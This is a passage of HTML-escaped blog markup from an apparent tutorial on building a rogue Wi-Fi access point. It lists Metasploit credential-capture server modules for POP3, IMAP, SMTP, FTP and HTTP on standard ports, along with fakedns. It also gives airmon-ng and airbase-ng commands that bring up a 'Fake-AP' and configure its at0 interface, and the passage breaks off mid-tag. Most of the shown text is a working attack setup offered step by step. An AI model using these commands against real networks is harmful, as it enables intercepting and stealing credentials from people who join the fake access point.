Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set LHOST 10.0.0.1&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set LPORT 45000&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 55550&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set URIPATH /ads&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/pop3&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 110&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SSL false&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/pop3&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 995&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SSL true&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/ftp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/imap&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SSL false&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 143&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/imap&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SSL true&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 993&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/smtp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SSL false&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 25&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/smtp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SSL true&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 465&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/fakedns&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;unset TARGETHOST&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 5353&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/fakedns&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;unset TARGETHOST&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 53&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/http&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 80&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SSL false&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/http&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 8080&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SSL false&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/http&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 443&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SSL true&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/capture/http&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SRVPORT 8443&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;set SSL true&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;run&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 11pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x04. iwconfig&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;Configure a wireless network interface.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;iwconfig&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt; is similar to ifconfig, but is dedicated to the wireless interfaces.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&amp;nbsp;iwconfig&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 672px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/276FA13957C85B4622&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F276FA13957C85B4622&quot; width=&quot;672&quot; height=&quot;221&quot; filename=&quot;006.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x05. airmon-ng&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;airmon-ng&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt; is script can be used to enable monitor mode on wireless interfaces.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;airmon-ng &amp;lt;start|stop&amp;gt; &amp;lt;interface&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&amp;nbsp;airmon-ng start wlan0&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 672px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2124E83657C85B592D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2124E83657C85B592D&quot; width=&quot;672&quot; height=&quot;650&quot; filename=&quot;007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x06. airbase-ng&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;Multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;airbase-ng [options] &amp;lt;interface&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;[Options]&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;-y&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;: When using this options, the fake AP will not respond to broad-cast probes.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;-c &amp;lt;channel&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;: This is used to specify the channel on which to run the Access Point.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;[Filter options]&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;-e &amp;lt;ESSID&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;--essid &amp;lt;ESSID&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; color: rgb(140, 140, 140);&quot;&gt;: Specify a single ESSID.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&amp;nbsp;airbase-ng -y -c 9 -e &quot;Fake-AP&quot; mon0&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 672px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/233C753C57C85B8211&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F233C753C57C85B8211&quot; width=&quot;672&quot; height=&quot;191&quot; filename=&quot;008.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x07. Virtual NIC at0 config&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&amp;nbsp;ifconfig at0 up 10.0.0.1 netmask 255.255.255.0&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&amp;nbsp;route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&amp;nbsp;ifconfig at0&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 671px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2618864D57C85C7D37&quot; 